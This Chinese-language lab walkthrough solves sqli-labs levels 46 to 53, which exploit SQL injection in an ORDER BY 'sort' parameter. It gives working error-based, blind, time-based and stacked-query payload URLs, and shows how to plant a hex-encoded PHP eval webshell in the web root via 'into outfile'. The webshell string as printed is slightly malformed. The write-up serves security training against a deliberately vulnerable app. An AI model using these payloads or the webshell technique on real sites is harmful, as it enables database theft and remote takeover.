Sqli-labs Less-46-53

Less-46

  在开始这一关内容之前,我们先来了解一下数据库中使数据进行排列的语句:

  select * from users order by 1 desc ;使用降序(倒序)排列

  select * from users order by 1 asc ;使用升序(正序)排列

  lines  terminated by ***  每行输出以***结尾

  然后我们就可以了解这一关了。

  打开Less-46,发现在Welcome下面醒目的一句话:

  Please input parameter as SORT with numeric value

   再打开index,发现输出查询的事实上还是id,所以我们推测,这里事实上是输入sort来代替id:

   我们输入?sort=1以后,回显改变了:

  http://192.168.1.1/sqli-labs-master/Less-46/?sort=1

   改变sort后面的数值,1代表把第一列按从小到大进行排列,3 就代表把第3列按从小到大进行排列:

  http://192.168.1.1/sqli-labs-master/Less-46/?sort=3

   我们在开头已经说明了两条语句,它们后面都有升序降序的后缀,我们在这里尝试,发现可以起作用:

  http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 desc   第一列降序排列

   http://192.168.1.1/sqli-labs-master/Less-46/?sort=2 asc   第二列升序排列

   接下来我们可以进行注入拿取数据了:

法一:报错注入

  http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 and updatexml (1, concat(0x7e,database()) ,1)

  http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 and  updatexml( 1, concat( 0x7e,(select schema_name from information_schema.schemata limit 0,1),1),1)--+

   省略剩下的过程,具体语句参考Less-17。

法二:布尔(时间)盲注

  http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 and if(length(database())=8  ,1,sleep(5))

   http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 and if(left((select schema_name from information_schema.schemata limit 0,1),1)>'a',1,sleep(5))--+

   具体步骤与语句参考Less-5。

Less-47:用?sort=1'包裹

  除了包裹方式的不同,其他与Less-46相同,不再赘述。

Less-48:无包裹,无错误回显

  这一关与Less-46几乎相同,都没有包裹,但是这一关没有错误回显信息,所以不能使用报错注入,只能使用布尔盲注。语句与Less-46相同,不再赘述。

Less-49:用?sort=1'包裹,无错误回显

  几乎与Less-46相同,除了此关卡用单引号包裹,无错误回显信息,使用Less-46中布尔盲注即可解决,不再赘述。这里我们以这一关为例,使用新的方法来注入:一句话木马。

  我们使用outline的方式在对应的文件夹中创建php文件,具体的注意事项请参考Less-5-10,这里我创建LESS49.php:

  http://192.168.1.1/sqli-labs-master/Less-49/?sort=1'and (select '<php @eval($_POST["crow"];?>') into outfile 'C:\PhpStudy\WWW\LESS49.php' --+

   创建成功:

   打开后我们发现,数据库的信息已经存在于其中了,可是却没有一句话木马,这样我们就不能使用菜刀访问了,所以我们这里要修改一下语句,我们使用line terminal by语句,使得一句话木马在结尾部分输出,这里要注意,后面跟的是一句话木马十六进制:

  http://192.168.1.1/sqli-labs-master/Less-49/?sort=1'into outfile 'C:\PhpStudy\WWW\LESS49.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e --+

   打开发现,输出的每一行都写入了一句话木马,这样就可以用菜刀进行连接:

Less-50

  我们照旧进行尝试,看看有没有进行包裹,发现这一关与Less-46一样没有包裹:

  查看index源码,发现这一节使用了mysqli_multi_query函数,其他与Less-46并无二致,mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔所以事实上我们无法使用联合查询,因为会被疯狂转义,所以我们选择报错注入布尔注入都是没有问题的。

  也可以使用我们新学习的方法,使用堆叠注入插入新的表,也可以使用堆叠注入创建含有一句话木马的表,再用菜刀访问。这四种方法均可,我们还可以使用第五种方法,就是Less-49中的方法,直接创建表然后用一句话木马访问。

  上述提到的方法请参考历史内容,不再赘述。

Less-51:用?sort=1'包裹 

  除了包裹方式不同,其余和50关相同。所以还是使用那五种方法进行注入:

  法一:延时注入

  法二:报错注入

  法三:写入一句话木马  以上三种方法参考上面。

  法四:使用堆叠注入创建新的users表。

  法五:使用堆叠注入写入一句话木马。


Less-52:无包裹,无报错回显

  这一关没有包裹,除了没有报错回显,其余与50关相同,因为没有报错回显,所以不能用报错注入,这一节能够使用的方法减少一种:

  法一:延时注入

  法二:写入一句话木马  以上三种方法参考上面。

  法三:使用堆叠注入创建新的users表。

  法四:使用堆叠注入写入一句话木马。

Less-53:用?sort=1'包裹

  除了包裹方式与没有回显信息这两点与Less-50不同,其余与Less-50相同,显而易见,我们无法使用报错注入,所以还是使用以下四种方法:

  法一:延时注入

  法二:写入一句话木马  以上三种方法参考上面。

  法三:使用堆叠注入创建新的users表。

  法四:使用堆叠注入写入一句话木马。

原文地址:https://www.cnblogs.com/FHBBS/p/12380304.html